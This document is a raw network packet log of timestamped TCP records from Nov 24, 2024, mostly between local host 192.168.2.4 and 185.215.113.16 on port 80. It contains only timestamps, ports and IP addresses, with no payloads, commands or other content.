Nov 24, 2024 14:24:42.364600897 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.365376949 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.365431070 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.365526915 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.365596056 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.366293907 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.366343975 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.366348982 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.366396904 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.367170095 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.367331982 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.367386103 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.368114948 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.368176937 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.368213892 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.368268013 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.369026899 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.369075060 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.369138002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.369187117 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.369993925 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.370043039 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.370121002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.370171070 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.370860100 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.370909929 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.370987892 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.371048927 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.371804953 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.371933937 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.371985912 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.372694016 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.372745037 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.372807980 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.372859001 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.373626947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.373675108 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.373739004 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.373788118 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.374569893 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.374623060 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.374737978 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.374799013 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.375492096 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.375540018 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.375711918 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.375756025 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.376420021 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.376481056 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.376528025 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.376579046 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.377393007 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.377444983 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.377602100 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.377657890 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.378242016 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.378293991 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.378364086 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.378413916 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.379200935 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.379267931 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.379487038 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.380151987 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.380203962 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.380331993 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.380381107 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.381016970 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.381067991 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.381133080 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.381182909 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.381947041 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.381999969 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.382064104 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.382117033 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.382873058 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.382927895 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.382983923 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.383047104 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.383797884 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.383893967 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.383944988 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.384706974 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.384761095 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.384824991 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.384875059 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.385628939 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.385679960 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.385742903 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.385796070 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.386523008 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.386568069 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.386704922 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.386756897 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.387469053 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.387559891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.387609005 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.388423920 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.388478041 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.388525963 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.388576031 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.389427900 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.389481068 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.389481068 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.389524937 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.390312910 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.390348911 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.390367031 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.390394926 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.391252995 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.391288042 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.391324043 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.391344070 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.392071009 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.392138004 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.392200947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.392256975 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.393013954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.393110991 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.393157005 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.393246889 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.393920898 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.393965006 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.394015074 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.394140959 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.394848108 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.394900084 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.394902945 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.394980907 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.395795107 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.395922899 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.395977974 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.396724939 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.396789074 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.396836996 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.396889925 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.397643089 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.397695065 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.397773027 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.397821903 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.398513079 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.398562908 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.398627996 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.398688078 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.399461985 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.399575949 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.399630070 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.400373936 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.400429010 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.400505066 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.400557995 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.401309013 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.401362896 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.401424885 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.401478052 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.402576923 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.402630091 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.402693033 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.402743101 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.403134108 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.403255939 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.403307915 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.404098034 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.404153109 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.404213905 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.404248953 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.404257059 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.404285908 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:42.407365084 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:42.567116976 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.567244053 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.567348003 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.567553043 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.567665100 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.567725897 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.568433046 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.568490028 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.568564892 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.568617105 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.569376945 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.569508076 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.569562912 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.570317984 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.570367098 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.570518017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.570564985 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.571199894 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.571263075 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.571331024 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.572134018 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.572187901 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.572242975 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.572293043 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.573055983 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.573111057 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.573230028 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.573282003 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.573981047 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.574033022 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.574110031 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.574161053 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.574913025 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.574966908 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.574991941 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.575042009 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.575869083 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.575970888 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.576024055 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.576725006 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.576778889 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.576854944 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.576905012 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.577677965 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.577735901 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.577799082 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.577851057 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.578645945 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.578695059 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.578761101 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.578804016 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.579525948 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.579616070 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.579668999 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.580435991 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.580491066 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.580549955 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.580600977 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.581327915 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.581379890 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.581442118 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.581491947 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.582252026 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.582297087 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.582359076 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.582408905 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.583175898 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.583234072 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.583288908 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.584139109 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.584198952 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.584259987 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.584311962 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.585112095 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.585164070 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.585222006 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.585272074 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.585989952 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.586036921 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.586114883 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.586159945 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.586873055 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.586930990 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.586990118 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.587049007 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.587811947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.587946892 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.587997913 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.588737011 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.588787079 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.588920116 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.588967085 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.589667082 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.589715004 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.589787960 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.589838028 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.590611935 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.590656996 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.590718985 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.590769053 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.591479063 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.591602087 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.591654062 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.592400074 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.592456102 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.592516899 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.592564106 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.593332052 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.593385935 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.593478918 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.593530893 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.594266891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.594316006 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.594383955 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.594438076 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.595177889 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.595304012 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.595362902 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.596101046 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.596153975 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.596221924 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.596271992 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.597003937 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.597054958 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.597096920 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.597146034 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.597960949 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.598015070 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.598079920 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.598130941 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.598862886 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.598916054 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.598994017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.599052906 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.599867105 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.599946022 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.600001097 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.600682974 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.600734949 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.600814104 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.600866079 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.601632118 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.601686001 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.601742983 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.601794004 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.602536917 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.602587938 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.602649927 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.602694035 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.603508949 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.603564024 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.603620052 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.604387045 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.604441881 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.604506016 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.604557037 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.605330944 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.605379105 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.605439901 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.605484962 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.606228113 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.606281996 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.606338978 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.606388092 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.607130051 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.607276917 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.607332945 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.608095884 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.608150005 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.608211994 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:42.608263969 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:42.609019041 CET	80	49838	185.215.113.16	192.168.2.4
